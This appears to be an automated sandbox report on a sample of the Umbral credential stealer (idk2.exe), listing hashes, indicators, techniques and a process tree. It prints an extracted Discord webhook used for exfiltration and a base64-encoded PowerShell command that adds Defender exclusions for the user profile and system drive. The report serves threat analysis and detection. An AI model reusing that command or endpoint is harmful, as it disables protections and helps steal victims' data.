umbral | 8d612921eca9c96803b1057e860d2d3236869bd3658b01fb7f3402134bd0300c

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
29-02-2024 03:55

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General

Target

idk2.exe
Size

235KB
MD5

ce4b4e4821aba2f7ea9aad57e60f9c3c
SHA1

1f01a2d44d06ced9373687ae061f81540fa1c015
SHA256

8d612921eca9c96803b1057e860d2d3236869bd3658b01fb7f3402134bd0300c
SHA512

727a3cc82dfdaede3fdcab6bd1a52794e90e3a41560345cc82212aaf75a00a09d63c753cf23b5318ad5b58126f29696bc4fbffac4f9ea1eee0af195712dae085
SSDEEP

6144:waeJtRSyn/TlQ1VFmqGF3+re5d0KkJ4tWDwp:wNPT/xAVPWUG0KkrD

Score

10^/10

umbral stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1205352570537775114/0TwopxZF8mZAIjdEowRHAiTqFbB8pjE6dzR2ST_E7pX5YXnZRcMh5QKMfo2QE94dAXKK

Signatures

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral2/files/0x000700000002321a-4.dat	family_umbral
behavioral2/files/0x000700000002321a-9.dat	family_umbral
behavioral2/memory/3580-11-0x000001B487250000-0x000001B487290000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation	idk2.exe

Executes dropped EXE 1 IoCs

pid	Process
3580	Umbral.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Umbral.exe	idk2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4060	powershell.exe
4060	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	3580	Umbral.exe
Token: SeIncreaseQuotaPrivilege	3452	wmic.exe
Token: SeSecurityPrivilege	3452	wmic.exe
Token: SeTakeOwnershipPrivilege	3452	wmic.exe
Token: SeLoadDriverPrivilege	3452	wmic.exe
Token: SeSystemProfilePrivilege	3452	wmic.exe
Token: SeSystemtimePrivilege	3452	wmic.exe
Token: SeProfSingleProcessPrivilege	3452	wmic.exe
Token: SeIncBasePriorityPrivilege	3452	wmic.exe
Token: SeCreatePagefilePrivilege	3452	wmic.exe
Token: SeBackupPrivilege	3452	wmic.exe
Token: SeRestorePrivilege	3452	wmic.exe
Token: SeShutdownPrivilege	3452	wmic.exe
Token: SeDebugPrivilege	3452	wmic.exe
Token: SeSystemEnvironmentPrivilege	3452	wmic.exe
Token: SeRemoteShutdownPrivilege	3452	wmic.exe
Token: SeUndockPrivilege	3452	wmic.exe
Token: SeManageVolumePrivilege	3452	wmic.exe
Token: 33	3452	wmic.exe
Token: 34	3452	wmic.exe
Token: 35	3452	wmic.exe
Token: 36	3452	wmic.exe
Token: SeIncreaseQuotaPrivilege	3452	wmic.exe
Token: SeSecurityPrivilege	3452	wmic.exe
Token: SeTakeOwnershipPrivilege	3452	wmic.exe
Token: SeLoadDriverPrivilege	3452	wmic.exe
Token: SeSystemProfilePrivilege	3452	wmic.exe
Token: SeSystemtimePrivilege	3452	wmic.exe
Token: SeProfSingleProcessPrivilege	3452	wmic.exe
Token: SeIncBasePriorityPrivilege	3452	wmic.exe
Token: SeCreatePagefilePrivilege	3452	wmic.exe
Token: SeBackupPrivilege	3452	wmic.exe
Token: SeRestorePrivilege	3452	wmic.exe
Token: SeShutdownPrivilege	3452	wmic.exe
Token: SeDebugPrivilege	3452	wmic.exe
Token: SeSystemEnvironmentPrivilege	3452	wmic.exe
Token: SeRemoteShutdownPrivilege	3452	wmic.exe
Token: SeUndockPrivilege	3452	wmic.exe
Token: SeManageVolumePrivilege	3452	wmic.exe
Token: 33	3452	wmic.exe
Token: 34	3452	wmic.exe
Token: 35	3452	wmic.exe
Token: 36	3452	wmic.exe
Token: SeDebugPrivilege	4060	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 4060	4092	idk2.exe	88
PID 4092 wrote to memory of 4060	4092	idk2.exe	88
PID 4092 wrote to memory of 4060	4092	idk2.exe	88
PID 4092 wrote to memory of 3580	4092	idk2.exe	90
PID 4092 wrote to memory of 3580	4092	idk2.exe	90
PID 3580 wrote to memory of 3452	3580	Umbral.exe	91
PID 3580 wrote to memory of 3452	3580	Umbral.exe	91

C:\Users\Admin\AppData\Local\Temp\idk2.exe
"C:\Users\Admin\AppData\Local\Temp\idk2.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAYwBhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAbABmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAbQBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHcAeQBzACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4060
- C:\Windows\Umbral.exe
  "C:\Windows\Umbral.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dfp54fm0.fd0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Umbral.exe

Filesize
230KB

MD5
e57355d016f869b612bb5512bc9929da

SHA1
8d49a140dbe7ef50a1052bbb90514f84ff211daa

SHA256
516a9e91fdd13f05c4a8df291b9d2bb1571d5ce6223b883a6cae345cf0e75643

SHA512
4191df273c90a6e950bbae1931abe8d9e735ab9ff947fe0331664dcf8b96fdc50bb3436761d4e5ce190afd8a503ccad0fe2eb211b6af8a63aa6c6ae1bb7aee19

Download Submit
C:\Windows\Umbral.exe

Filesize
92KB

MD5
5376f58e3a6a2f5434ebb5631075a7e0

SHA1
445c2227bcebdfae069293696cb81faa4c68c237

SHA256
4a7d9ba59998ea1df0e28f6aa58bb3195213df348f6acf80223a406f6ce87c81

SHA512
8b40e09d8d086402364585628cfdac80c4e20c16da8ac655022fd50686c0a204830f87720641db4d8f8b1b5da1e36c3db4747508b04270a6ed1a75eb072af8d0

Download Submit
memory/3580-17-0x000001B4A1810000-0x000001B4A1820000-memory.dmp

Filesize
64KB

Download
memory/3580-11-0x000001B487250000-0x000001B487290000-memory.dmp

Filesize
256KB

Download
memory/3580-12-0x00007FFAA5050000-0x00007FFAA5B11000-memory.dmp

Filesize
10.8MB

Download
memory/3580-28-0x00007FFAA5050000-0x00007FFAA5B11000-memory.dmp

Filesize
10.8MB

Download
memory/4060-34-0x0000000005460000-0x000000000547E000-memory.dmp

Filesize
120KB

Download
memory/4060-38-0x0000000006CF0000-0x0000000006D22000-memory.dmp

Filesize
200KB

Download
memory/4060-16-0x0000000005AF0000-0x0000000006118000-memory.dmp

Filesize
6.2MB

Download
memory/4060-19-0x0000000005840000-0x0000000005862000-memory.dmp

Filesize
136KB

Download
memory/4060-21-0x00000000059E0000-0x0000000005A46000-memory.dmp

Filesize
408KB

Download
memory/4060-15-0x00000000054B0000-0x00000000054C0000-memory.dmp

Filesize
64KB

Download
memory/4060-14-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download
memory/4060-22-0x0000000006120000-0x0000000006186000-memory.dmp

Filesize
408KB

Download
memory/4060-33-0x0000000006290000-0x00000000065E4000-memory.dmp

Filesize
3.3MB

Download
memory/4060-13-0x0000000002DD0000-0x0000000002E06000-memory.dmp

Filesize
216KB

Download
memory/4060-35-0x00000000067D0000-0x000000000681C000-memory.dmp

Filesize
304KB

Download
memory/4060-36-0x00000000054B0000-0x00000000054C0000-memory.dmp

Filesize
64KB

Download
memory/4060-37-0x000000007EF90000-0x000000007EFA0000-memory.dmp

Filesize
64KB

Download
memory/4060-18-0x00000000054B0000-0x00000000054C0000-memory.dmp

Filesize
64KB

Download
memory/4060-39-0x0000000070D80000-0x0000000070DCC000-memory.dmp

Filesize
304KB

Download
memory/4060-49-0x0000000006CC0000-0x0000000006CDE000-memory.dmp

Filesize
120KB

Download
memory/4060-50-0x00000000076F0000-0x0000000007793000-memory.dmp

Filesize
652KB

Download
memory/4060-51-0x0000000008070000-0x00000000086EA000-memory.dmp

Filesize
6.5MB

Download
memory/4060-52-0x0000000007A30000-0x0000000007A4A000-memory.dmp

Filesize
104KB

Download
memory/4060-53-0x0000000007AA0000-0x0000000007AAA000-memory.dmp

Filesize
40KB

Download
memory/4060-54-0x0000000007CC0000-0x0000000007D56000-memory.dmp

Filesize
600KB

Download
memory/4060-55-0x0000000007C30000-0x0000000007C41000-memory.dmp

Filesize
68KB

Download
memory/4060-56-0x0000000007C70000-0x0000000007C7E000-memory.dmp

Filesize
56KB

Download
memory/4060-57-0x0000000007C80000-0x0000000007C94000-memory.dmp

Filesize
80KB

Download
memory/4060-58-0x0000000007D60000-0x0000000007D7A000-memory.dmp

Filesize
104KB

Download
memory/4060-59-0x0000000007CB0000-0x0000000007CB8000-memory.dmp

Filesize
32KB

Download
memory/4060-62-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download